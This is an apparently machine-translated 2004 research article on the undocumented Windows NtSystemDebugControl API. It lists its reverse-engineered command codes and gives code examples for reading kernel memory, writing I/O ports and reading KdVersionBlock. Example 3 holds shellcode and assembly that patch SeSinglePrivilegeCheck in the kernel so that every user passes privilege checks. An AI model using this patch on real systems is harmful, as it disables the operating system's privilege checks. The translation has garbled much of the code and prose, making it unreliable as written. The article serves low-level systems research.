The analysis of Native API NTSystemDebugControl is transferred from:
Http://www.xfocus.net creation time: 2004-08-05
Article attribute: original
Article submission:
Tombkeeper (T0MBKEEPER_AT_HOTMAIL.COM)
Analysis of Native API NTSystemDebugControl
Servers: Yu
Email: Tombkeeper [0x40] nsfocus [0x2e] COM
Tombkeeper [0x40] xfocus [0x2e] org
Completed in: 2004.08.04
Keywords: ntsystemdebugcontrol, zwsystemdebugcontrol, read and write kernel space, read and write MSR,
Read and write physical memory, read and write IO ports, read and write bus data, KDVERSIONBLOCK
In the "Nuclear Variable of Windows System", I mentioned the system over Windows NT 5.1 or more.
There is a powerful Native API NTSYSTEMDEBUGCONTROL. Let's take a look at it.
Have more powerful.
NTSystemDebugControl is a system call implemented on the Windows NT series operating system, not
The call number on the same system is:
Windows NT 0xBA
Windows 2000 0xDE
Windows XP 0xFF
Windows 2003 0x108
This is an unplanned API, "Windows NT / 2000 Native API Reference" has phases
Presentation. Official definitions can be found in Ntexapi.h, a Microsoft's private header file. This file also packages
With many other internal data structures. Maybe there may have been this file in the SDK of Windows NT 4 (at least NT4
The resourcekit's support documentation is said to be said, but now Microsoft is only available to its partner.
Fortunately, there is a "Very Kind Person" on the NTKERNEL news group sharing this header file, you can
Get it in two links to the resource [2].
This is the definition in ntexapi.h:
Typedef enorm_sysdbg_command {
Sysdbgquerytraceinformation = 1, // kdgetTraceInformation ()
SysdbgSettracePoint = 2, // kdsetinternalBreakPoint ()
Sysdbgsetspecialcall = 3, // kdsetspecialcall ()
Sysdbgclearspecialcalls = 4, // kdclearspecialcalls ()
Sysdbgqueryspecialcalls = 5, // kdqueryspecialcalls ()
SysdbgQueryModuleInformation //ntexapi.h is there, but actually not implemented
} Sysdbg_command, * psysdbg_command;
NTSYSAPI
NTSTATUS
NTAPI
NTSystemdebugControl
In sysdbg_command command,
In Pvoid InputBuffer,
In Ulong InputBufferLength,
Out pvoid OutputBuffer,
In Ulong OutputBufferlength,
OUT Pulong ReturnLength
);
As can be seen from the above, NTSystemDebugControl on Windows NT and Windows 2000 implements five kernel functions through different first-point references, and implements related functions.
NTSystemDebugControl is still relatively simple in Windows NT and Windows 2000,
The book "Windows NT / 2000 Native API Reference" has been introduced in detail, this article
No longer.
Starting from the Windows NT 5.1 core (Windows XP), NTSystemDebugControl is extremely
Big amplification. According to the results of the reverse engineering, NTSYSTEMDEBUGCONTROL in Windows XP is in Windows XP.
Conversion can accept 20 different functional calls, 28 on Windows 2003.
About NTSystemDebugControl in Windows NT 5.1, the only thing can be found on the Internet
The information is a bugtraq ID 9694 about a vulnerability report for the API (refer to resource [1]), in fact, this
A so-called vulnerability is not called vulnerability, because calling this API requires sedebugprivilege privileges,
The general household can't be executed, and it will not be able to upgrade the permissions.
The following ENUM is the result of my reverse engineering, most of which test:
Typedef enorm_sysdbg_command {
// The following 5 is available on Windows NT.
Sysdbggettraceinformation = 1,
Sysdbgsetinternalbreakpoint = 2,
Sysdbgsetspecialcall = 3,
Sysdbgclearspecialcalls = 4,
Sysdbgqueryspecialcalls = 5,
/ / The following is NT 5.1 added
Sysdbgdbgbreakpointwithstatus = 6,
// Get kdversionblock
Sysdbgsysgetversion = 7,
/ / Copy from the kernel space to the user space, or copy from the user space to the user space
/ / But you can't copy it from user space to kernel space
SysdbgcopyMemoryChunks_0 = 8,
// sysdbgreadvirtualmemory = 8,
/ / Copy from user space to kernel space, or copy from user space to user space
/ / But you can't copy to user space from the kernel space
Sysdbgcopymemorychunks_1 = 9,
// sysdbgwritevirtualmemory = 9,
/ / Copy the physical address to the user space, can not write the kernel space
SysdbgcopyMemoryChunks_2 = 10,
// sysdbgreadvirtualmemory = 10,
/ / Copy the user space to the physical address, can not read the kernel space
Sysdbgcopymemorychunks_3 = 11,
// sysdbgwritevirtualmemory = 11,
// Read and write processor related control blocks
SysdbgsystemsReadControlspace = 12,
Sysdbgsyswritecontrolspace = 13,
// Read and write port
Sysdbgsystemiospace = 14,
Sysdbgsyswriteiospace = 15,
// call RDMSR @ 4 and _Wrmsr @ 12, respectively
SysdbgsystemsR = 16,
Sysdbgsyswritemsr = 17,
// Read and write bus data
Sysdbgsystem-busdata = 18,
Sysdbgsyswritebusdata = 19,
Sysdbgsyschecklowmemory = 20,
/ / The following is NT 5.2 added
// call _kdenabledebugger @ 0 and _kddisabledebugger @ 0
Sysdbgenabledebugger = 21,
Sysdbgdisabledebugger = 22,
/ / Get and set some debug-related variables
SysdbggetautoenableOnevent = 23,
SysdbgsetautoenableOnevent = 24,
Sysdbggetpitchdebugger = 25,
Sysdbgsetdbgprintbuffersize = 26,
Sysdbggetignoreumexceptions = 27,
Sysdbgsetognoreumexceptions = 28
} Sysdbg_command, * psysdbg_command;
As can be seen from the above, NtsystemDebugControl over Windows NT 5.1 can be read and blind
The kernel linear spatial data, read and write physical memory, read and write port, read and write bus data, read and write MSR; in
Windows NT 5.2 or more can also enable, disable kernel debugging, and set one in system operation.
Some correlation variables, etc.
Obviously, starting from Windows XP, we have obtained the MS DOS Times directly manipulate the condition of the system, wear
Holding a reputation, returning to the top of the Olympus.
The following is a few examples of specific applications.
Example 1:
The following code demo reads KDVERSIONBLOCK:
/ / -------------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------------------------------------------------
TYPEDEF STRUCT _DBGKD_GET_VERSION64 {
Ushort Majorversion;
Ushort minorversion;
Ushort protocolversion;
Ushort flags;
USHORT MACHINETYPE;
Uchar maxpackettype;
Uchar maxStatechange;
Uchar maxmanipulate;
Uchar simulation;
Ushort unused [1];
Ulong64 kernbase;
Ulong64 pslineedmodulelist;
Ulong64 debuggerDataList;
} DBGKD_GET_VERSION64, * PDBGKD_GET_VERSION64;
DBGKD_GET_VERSION64 KDVERSIONBLOCK;
EnablePrivilege (SE_DEBUG_NAME);
ZWSystemDebugControl
(
Sysdbgsysgetversion,
NULL,
0,
& Kdversionblock,
Sizeof (kdversionblock), // must be 0x28
NULL
);
Printf ("kernbase: 0x% .8x / n", kdversionblock.kernbase;
Printf ("PslineDModuleList: 0x% .8x / N", KDVERSIONBLOCK.PSLOADMODULELIST);
Printf ("DebuggerDataList: 0x% .8x / N", KDVERSIONBLOCK.DEBUGGGERDATALIST);
/ / -------------------------------------------------------------------------------------------- ------------------------ Example 2:
The following code demonstrates the operation of reading the kernel space, here is the Windows 2003 kernel image
The first two bytes, that is, "MZ".
/ / -------------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------------------------------------------------
Typedef struct _Memory_chunks {
Ulong address;
PVOID DATA;
Ulong Length;
Memory_chunks, * pmemory_chunks;
Memory_chunks querybuff;
Ulong returngength;
CHAR BUFF [0x2] = {0};
QueryBuff.address = 0x804e0000; // windows 2003 KernBase
QueryBuff.data = BUFF; / / This is the read buffer
QueryBuff.Length = Sizeof (BUFF);
EnablePrivilege (SE_DEBUG_NAME);
ZWSystemDebugControl
(
SysdbgcopyMemoryChunks_0,
& QueryBuff,
Sizeof (Memory_chunks), // must be 0x0c
NULL,
0,
& Returngength
);
Printf ("/" / ": MZ /":% S / N ", BUFF);
/ / -------------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------------------------------------------------
Example 3:
Below is an implementation of the SYSDBGCopyMemoryChunks_1 function using NTSystemDebugControl
SHELLCODE of the Patch core, change the 0x80580e66 from the original 8A450C to 90B001:
before fixing:
NT! SSINGLEPRIVILECHECK 0X5C:
80580E66 8A450C MOV Al, [EBP 0xC]
80580E69 C9 Leave
80580E6A C20C00 RET 0XC
After modification:
NT! SSINGLEPRIVILECHECK 0X5C:
80580E66 90 NOP
80580E67 B001 MOV Al, 0x1
80580E69 C9 Leave
80580E6A C20C00 RET 0XC
In this way, SSINGLEPRIVILECHECK always returns True, that is, no matter which user is always
Have all system privileges.
/ XEB / X09 / X66 / XB8 / X08 / X01 / X8B / XD4 / X0F / X34 / XC3 / X68 / X90 / XB0 / X01 / XC9
/ x8b / xc4 / x6a / x04 / x50 / x68 / x86 / x54 / x5b / x33 / xc0 / x50 / x54
/ X50 / X50 / X6A / X0C / X53 / X6A / X09 / X50 / XE8 / XD5 / XFF / XFF / XFF / X83
/ / -------------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------------------------------------------------
#pragma comment (Linker, "/ Entry: main / align: 4096") #pragma Comment (lib, "kernel32.lib")
#define sysenter __asm __emit 0x0f __asm __emit 0x34
Void main (void)
{
__ASM
{
INT 3 // debug
JMP Patch
SystemDebugControl:
MOV AX, 0x108
MOV EDX, ESP
Sysenter
RET
PATCH:
Push 0xc901b090
MOV EAX, ESP
Push 0x04
Push EAX
Push 0x80580e66
PUSH ESP
POP EBX
XOR EAX, EAX
Push EAX
Push ESP // ReturnLENGTH
Push Eax // OutputBufferLength
Push Eax // OutputBuffer
Push 0x0c // InputBufferLength
Push EBX // InputBuffer
Push 0x09 // Controlcode
Push Eax // for Sysenter Ret
Call SystemdebugControl
Add ESP, 0x30 // Just to correct the stack
}
}
/ / -------------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------------------------------------------------
Only just a concept code, the Patch address used is fixed, the kernel of the 5.2.3790.0 version
effective. Since NtsystemDebugControl wants sedebugprivilege, this shellcode needs
To run in the process space of Localsystem, or add SedebugPrivilege. the easiest
The way is to execute in Windbg.
Example 4:
Here is a complete code that uses NTSystemDebugControl to read the ability to write port ports.
PC Speaker vocal:
/ / -------------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------------------------------------------------
/ / Demonstrate the PC Speaker vocal with the ZWSystemdebugControl read and write port
// Tombkeeper 2004.08.03
#include
#include
#pragma comment (Lib, "Advapi32")
#define ntapi __stdcall
#define fchk (a) IF (! (a)) {Printf (#a "failed / n"); return 0;}
Typedef int NTSTATUS;
Typedef enorm_sysdbg_command
{
Sysdbgsystemiospace = 14,
Sysdbgsyswriteiospace = 15
} Sysdbg_command, * psysdbg_command;
TypedEf NTSTATUS (NTAPI * PzWSystemDebugControl)
Sysdbg_command controlcode,
PVOID INPUTBUFFER,
Ulong InputBufferLength,
Pvoid OutputBuffer,
Ulong OutputBufferLength,
Pulong ReturnLength
);
PzwsystemdebugControl zwsystemdebugcontrol = null; typef struct _io_struct
{
DWORD IOADDR; // IN: Aligned to Numbytes, I / O Address
DWord reserved1; // never access by the kernel
Pvoid PBuffer; // In (Write) or out (read): Ptr to Buffer
DWORD NUMBYTES; // In: # bytes to read / write. Only Use 1, 2, or 4.
DWORD reserved4; // must be 1
DWORD reserved5; // must be 0
DWORD reserved6; // must be 1
DWord reserved7; // never access by the kernel
}
IO_STRUCT, * PIO_STRUCT;
BOOL EnablePrivilege (PCSTR Name)
{
Handle htokeen;
BOOL RV;
Token_Privileges Priv = {1, {0, 0, SE_PRIVILEGE_ENABLED}}
LookuppprivileGeValue
0,
Name,
& privileges [0] .luid
);
OpenProcesstoken
GetCurrentProcess (),
Token_Adjust_Privileges,
& htokeen
);
AdjustTokenPrivileges
Htoken,
False,
& priv,
SizeOf Priv,
0,
0
);
RV = getLastError () == Error_suCcess;
CloseHandle (HTOKEN);
Return RV;
}
Byte Inportb (Int port)
{
BYTE VALUE;
IO_STRUCT IO;
IO.IADDR = Port;
IO.RESERVED1 = 0;
IO.PBuffer = (Pvoid) (PULONG) & Value;
IO.NUMBYTES = SizeOf (byte);
IO.RESERVED4 = 1;
IO.RESERVED5 = 0;
IO.RESERVED6 = 1;
IO.RESERVED7 = 0;
ZWSystemDebugControl
(
Sysdbgsystemiospace,
& IO,
SizeOf (IO),
NULL,
0,
NULL
);
Return Value;
}
Void Outportb (int port, byte value)
{
IO_STRUCT IO;
IO.IADDR = Port;
IO.RESERVED1 = 0;
IO.PBuffer = (Pvoid) (PULONG) & Value;
IO.NUMBYTES = SizeOf (byte);
IO.RESERVED4 = 1;
IO.RESERVED5 = 0;
IO.RESERVED6 = 1;
IO.RESERVED7 = 0;
ZWSystemDebugControl
(
Sysdbgsyswriteiospace,
& IO,
SizeOf (IO),
NULL,
0,
NULL
);
}
Void Beepon (int freq) {
BYTE B;
IF ((FREQ> = 20) && (freq <= 20000)))
{
FREQ = 1193181 / FREQ;
B = inportb (0x61);
IF ((B & 3) == 0)
{
OUTPORTB (0x61, (Byte) (B | 3));
OUTPORTB (0x43, 0xB6);
}
OUTPORTB (0x42, (byte) FREQ;
OUTPORTB (0x42, (Byte) (FREQ >> 8);
}
}
Void Beepoff (Void)
{
BYTE B;
b = (InportB (0x61) & 0xFC);
OUTPORTB (0x61, b);
}
Int main (void)
{
HModule HNTDLL;
Ulong returngength;
OsversionInfo OsversionInfo;
OsversionInfo.dwosveionsInfosize = SizeOf (OsversionInfo);
EnablePrivilege (SE_DEBUG_NAME);
FCHK ((hnts = loadingLibrary ("ntdll.dll"))! = Null);
FCHK (zwsystemdebugcontrol = (PzwsystemdebugControl)
GetProcaddress (HNTDLL, ZWSYSTEMDEBUGCONTROL "))! = NULL);
FCHK ((void *) getversionex (& osversioninfo)! = Null);
IF (OsversionInfo.dwplatformID == Ver_Platform_WIN32_NT &&
OsversionInfo.dwmajorversion> = 5 &&
OsversionInfo.dwminorVersion> = 1) // Windows XP or more
{
Beepon (1000); // Sound Frequency 1000Hz
Sleep (1000);
BEEPOFF ();
}
Else
{
Printf ("This Program Require Windows XP or Windows 2003./N");
}
Return 0;
}
/ / -------------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------------------------------------------------
Reference resources:
[1] Microsoft Windows NTSystemdebugControl () kernel API Function Privilege
Escalation Vulnerability
http://www.securityfocus.com/bid/9694
[2] nTexapi.h
http://www.codeguru.com/code/legacy/system/ntexapi.zip
http://void.ru/files/ntexapi.h